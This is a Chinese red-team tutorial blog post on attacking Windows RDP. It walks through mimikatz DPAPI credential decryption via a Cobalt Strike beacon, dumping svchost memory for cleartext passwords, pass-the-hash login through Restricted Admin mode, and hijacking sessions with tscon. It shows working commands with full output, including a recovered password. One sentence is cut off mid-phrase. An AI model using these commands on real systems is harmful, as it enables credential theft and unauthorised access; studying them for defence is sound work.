浅析RDP攻击面

浅析RDP攻击面

抓取RDP连接日志#

工具:https://github.com/Heart-Sky/ListRDPConnections

  • 对外 RDP 连接记录
    对外 RDP 连接记录保存在 HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\ 下,默认只包含缺省用户设置和已登录用户的信息
    未登录用户连接记录需要通过加载对应用户目录下的 NTUSER.DAT 到注册表中并读取来实现
    需要有 SeBackupPrivilege 和 SeRestorePrivilege 这两项权限才可以实现对注册表的读和写操作
  • 对内 RDP 连接记录
    对内 RDP 连接记录保存在 Wind,。
    一个完整的 rdp登录->注销 过程包括 网络连接->身份认证->登录->注销,在注销前还可能发生 会话断开/重新连接
    选取
    EventID: 1149 网络连接 事件作为全量的登录事件,
    EventID: 21 登录成功 和 EventID: 25 重新连接 作为登录成功的事件,通过剔除登录成功的事件即为登录失败的事件

比如下图,该机器没有RDP去登陆过别人,但是被172.16.4.1登陆成功过,如果多台机器都被相同ip登陆成功过,那可能RDP过来的ip就是运维的ip。

cs

execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe

获取RDP凭据#

Dump RDP Credentials From Credentials Directory#

场景的话,应该是拿到一台A主机权限,如果A主机通过RDP登陆过主机B并且勾选了保存RDP会话凭据,那么会在当前主机A用户的特定目录下生成一个远程主机B的RDP凭据。只要勾选了保存RDP会话凭据,即使断开了RDP依然会在特定目录下留存凭据供我们抓取,而不是需要RDP连接一直存在。

默认保存在:C:\Users\用户名\AppData\Local\Microsoft\Credentials路径下

但是我直接翻的话翻不到

但是通过命令是可以找到的,而且是cmd,不是powershell

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

在这里我们需要记住两个重点的信息,在稍后我们是需要使用到的.
0x01 凭据保存的目录:

C:\Users\Administrator\AppData\Local\Microsoft\Credentials 

0x02 凭据的值:

5EEE4899502166CA91541FD79DA485CB 

使用mimikatz来进行操作读取密码

dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB

CS上的话直接

beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
  dwDataLen          : 000000c0 - 192
  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
  dwSignLen          : 00000040 - 64
  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d

在这里我们需要记住guidmasterkey的值,稍后我们需要找到对应的东西

使用这条命令进行把数据保存到c盘的根目录中:mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt

然后我们在txt文件中找到对应guid为{96768172-a437-4ca8-a877-14e0aa498a3e}的值.

beacon> mimikatz sekurlsa::dpapi full
[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command
[+] host called home, sent: 750705 bytes
[+] received output:

Authentication Id : 0 ; 7152762 (00000000:006d247a)
Session           : Interactive from 6
User Name         : DWM-6
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/4/26 18:12:38
SID               : S-1-5-90-6


Authentication Id : 0 ; 6443772 (00000000:006252fc)
Session           : NewCredentials from 0
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : (null)
Logon Time        : 2022/4/24 15:14:41
SID               : S-1-5-21-2004965046-3923418856-647414055-500


Authentication Id : 0 ; 196482 (00000000:0002ff82)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : WEBLOGIC
Logon Time        : 2022/4/22 1:27:06
SID               : S-1-5-21-2004965046-3923418856-647414055-500


Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WEBLOGIC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : S-1-5-20


Authentication Id : 0 ; 43470 (00000000:0000a9ce)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : 


Authentication Id : 0 ; 7246695 (00000000:006e9367)
Session           : Interactive from 6
User Name         : Administrator
Domain            : WEBLOGIC
Logon Server      : WEBLOGIC
Logon Time        : 2022/4/26 22:57:38
SID               : S-1-5-21-2004965046-3923418856-647414055-500
	 [00000000]
	 * GUID      :	{96768172-a437-4ca8-a877-14e0aa498a3e}
	 * Time      :	2022/4/27 0:00:37
	 * MasterKey :	3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
	 * sha1(key) :	b356179c1c3c35b9b8e4c0dcb345db87c692c6a1


Authentication Id : 0 ; 7152777 (00000000:006d2489)
Session           : Interactive from 6
User Name         : DWM-6
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/4/26 18:12:38
SID               : S-1-5-90-6


Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:43
SID               : S-1-5-19


Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WEBLOGIC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2022/4/22 1:26:42
SID               : S-1-5-18
	 [00000000]
	 * GUID      :	{628e2357-b149-42af-8714-2a2e22e08f27}
	 * Time      :	2022/4/24 16:00:14
	 * MasterKey :	967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638
	 * sha1(key) :	00472b23a48a568dff80abe4194c8196ba56bbb3
	 [00000001]
	 * GUID      :	{3f911ddd-ae45-479e-bb98-5b6c10c26c50}
	 * Time      :	2022/4/26 22:50:53
	 * MasterKey :	ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad
	 * sha1(key) :	48feec9411a1017f5edb03a59922f2ea960bbfe9
	 [00000002]
	 * GUID      :	{acc494d8-92ca-45e0-9e87-27017cf59c68}
	 * Time      :	2022/4/26 23:02:50
	 * MasterKey :	d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26
	 * sha1(key) :	be9117bfc64e4d0f62c06adfbd3f7f7f82643237
	 [00000003]
	 * GUID      :	{afe30aef-f67e-4cea-9b91-71318f566140}
	 * Time      :	2022/4/22 1:26:42
	 * MasterKey :	c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227
	 * sha1(key) :	39507d003e38633020e85d318e509f55939d208f

也就是

 MasterKey :	3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01

使用下面的命令进行读取密码的信息
这里使用刚才的目录,加上刚才的值MasterKey就可以进行读取了密码

mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command
[+] host called home, sent: 750701 bytes
[+] received output:
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {96768172-a437-4ca8-a877-14e0aa498a3e}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf
  dwDataLen          : 000000c0 - 192
  pbData             : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573
  dwSignLen          : 00000040 - 64
  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d

Decrypting Credential:
 * masterkey     : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000b8 - 184
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 2022/4/26 16:00:20
  unkFlagsOrSize : 00000018 - 24
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/10.10.20.7
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : redteam\saul
  CredentialBlob : admin!@#45
  Attributes     : 0

Dump RDP Credentials From svchost.exe#

在去年5月份的一篇老外推文中发现可以通过本地的svchost.exe中抓取到RDP明文密码。前提是这个RDP是当前正在连接的

拿Windows Server 2012做测试
整体流程就是在进程内存中对 svchost.exe 进行简单的字符串搜索,就会发现用于通过 RDP 连接到系统的明文密码。

找到正确的进程#

有2种方式:
0x01 Process Hacker
Process Hacker
使用 Process Hacker 2. 转到 Network 选项卡并找到具有 RDP 连接的进程。这仅在 RDP 连接仍处于活动状态时才有效。

0x02 Command Line
通过如下命令可以找到

netstat -nob | Select-String TermService -Context 1

或者是直接找rdpcorets.dll

tasklist /M:rdpcorets.dll

Command Line的话需要留心PID,后面创建转储文件的时候会用到

创建转储文件#

0x01 Process Hacker
Process Hacker的话直接右键svchost.exe进程就可以创建dump文件

0x02 任务管理器
详细信息 ==> 选择对应pid进程 ==> 创建转储文件

0x03 ProcessDump

procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]

0x04 comsvc​​.dll

.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full

C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full

查找明文密码#

可以通过strings命令,但是strings在Windows Server 2012上并不存在。
Mimikatz也支持了这一功能
可以通过下面命令抓取

ts::logonpasswords

但是Windows Server 2012就有问题,会抓到bytes流之后崩溃

Pass The Hash With Remote Desktop Protocol#

Restricted Admin mode#

这里是涉及到的一个概念,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。

Windows 8.1和Windows Server 2012 R2默认支持该功能
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
也就是当win7 windows Server 2008 R2 安装了补丁后同样可以Hash登陆RDP

利用时注意 Server开启Restricted Admin mode时,Client也需要支持Restricted Admin mode

修改注册表开启Restricted Admin mode的方法:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否开启

DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

成功在win7上开启Restricted Admin mode

Hash登陆RDP实现#

这里需要使用mimikatz去pth

这里首先拿域用户去pth,失败。经朋友提示说可能虚拟机会有问题。
测试了几个实验:
虚拟机环境下
win2012 RDP登陆 win7会出现下图错误

win7 RDP登陆 win2012出现下图错误(偷的图,但是报错一样,忘记截图了)

privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

sekurlsa::pth /user:administrator /domain:localgroup\VIRTUALDATA02 /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

win10登陆win2012没问题

小结一下,踩了几个坑但是应该是虚拟机的问题,实战情况下问题应该都不大。
这种场景的话主要是
1、有目标机管理员组账号的用户名+hash,还有机器名。
2、修改对方注册表开启Restricted Admin mode(受限管理模式)
3、管理员权限用mimikatz => Pass The Hash With Remote Desktop Protocol

RDP会话劫持#

系统管理员和用户通常可以通过 RDP 远程桌面登录指定服务器 3389 远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在 2017 年由以色列安全研究员 Alexander Korznikov 在个人博客中披露。利用条件只需要获取机器 SYSTEM 权限执行 tscon 命令

以Windows Server 2012测试
在任务管理器中会出现多个会话

可以通过右键 ==> 连接 ==> 输入对应账号的密码来连接到该会话

输入密码后成功登陆

在Windows Command Line下有一个tscon命令,可以实现上述功能
首先查询会话ID

query user

然后执行tscon命令即可切换会话

tscon 8 /PASSWORD:rdp1用户的密码

当然这是正常情况下。当我们获得了SYSTEM的shell时可以绕过认证,直接切换,无需输入密码。

首先需要一个SYSTEM权限的cmd,可以通过PsExec.exe实现
PsExec64.exe -s -i cmd

之后输入

quser   //查找rdp ID
tscon 8 /dest:console

成功后直接跳转到该RDP

posted @   Zh1z3ven  阅读(1071)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 一文读懂知识蒸馏
· 终于写完轮子一部分:tcp代理 了,记录一下
历史上的今天:
2021-09-18 Java之SpringBoot Thymeleaf
2021-09-18 Java之初探SpringBoot
点击右上角即可分享
微信分享提示
主题色彩